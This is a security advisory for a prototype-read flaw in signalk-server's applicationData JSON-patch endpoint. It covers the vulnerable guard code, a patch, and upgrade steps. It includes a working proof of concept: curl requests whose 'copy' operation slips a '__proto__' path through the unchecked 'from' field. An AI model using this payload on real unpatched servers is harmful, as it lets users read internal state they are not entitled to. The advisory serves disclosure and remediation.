CVE-2026-35038: signalk-server: Arbitrary Prototype Read via `from` Field Bypass
Summary
The /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property. Because JSON-patch operations like copy and move extract data using the from property path, an attacker can construct a payload where from targets /proto/someProperty, completely evading the security check and successfully executing an Arbitrary Prototype Read.
While this does not allow arbitrary code execution (as the destination path remains protected from proto), it does allow a user to exfiltrate internal Node functions and prototype state into their own application data.
Vulnerability Root Cause
File: src/interfaces/applicationData.js (Lines 48-57) const DANGEROUSPATHSEGMENTS = ['proto', 'constructor', 'prototype']
function isPrototypePollutionPath(pathString) { const segments = pathString.split(/[./]/) return segments.some((seg) => DANGEROUSPATHSEGMENTS.includes(seg)) }
function hasPrototypePollutionPatch(patches) { return patches.some( // [!VULNERABLE] Only checks patch.path, completely ignores patch.from (patch) => patch.path && isPrototypePollutionPath(patch.path) ) } At Line 201: if (hasPrototypePollutionPatch(req.body)) { res.status(400).send('invalid patch path') return } jsonpatch.apply(applicationData, req.body) // jsonpatch natively resolves 'from'
Proof of Concept (PoC)
Verify the Developer Guard Works (The Blocked Payload): curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '[{"op": "add", "path": "/proto/polluted", "value": "hacked"}]' Result: 400 Bad Request - invalid patch path
Execute the Bypass (The Malicious Payload): curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '[{"op": "copy", "from": "/proto/toString", "path": "/stolen"}]' Result: 200 OK - ApplicationData saved The security guard is bypassed and the json-patch engine successfully copies the proto internal function reference.
<img width="1222" height="230" alt="Screenshot 2026-03-24 150440" src="https://github.com/user-attachments/assets/5ae580fd-284f-4bef-adc8-31b50b8751b6" />
Security Impact This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should.
Fixing Arbitrary Prototype Read
The hasPrototypePollutionPatch function must be updated to inspect ALL path-related fields: function hasPrototypePollutionPatch(patches) { return patches.some( (patch) => (patch.path && isPrototypePollutionPath(patch.path)) || (patch.from && isPrototypePollutionPath(patch.from)) ) }
Other sources
Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.24.0, there is an arbitrary prototype read vulnerability via from field bypass. This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should. This issue has been patched in version 2.24.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/signalk-serverto a version that resolves this vulnerability.Fixed in 2.24.0 - Upgrade
Upgrade
Signal K Serverto a version that resolves this vulnerability.Fixed in 2.24.0 - Configuration
Modify the `hasPrototypePollutionPatch`/`isPrototypePollutionPath` logic to validate ALL path-related fields used by JSON-patch operations—specifically ensure the guard checks both `path` and `from` properties, not only `patch.path`. Block requests when either field contains dangerous segments like `__proto__`, `constructor`, or `prototype`.
Signal K Server (hasPrototypePollutionPatch / isPrototypePollutionPath) Prototype-pollution guard must inspect all path-related fields (not only patch.path) = Inspect patch.path AND patch.from for prototype-pollution path segments such as __proto__, constructor, and prototype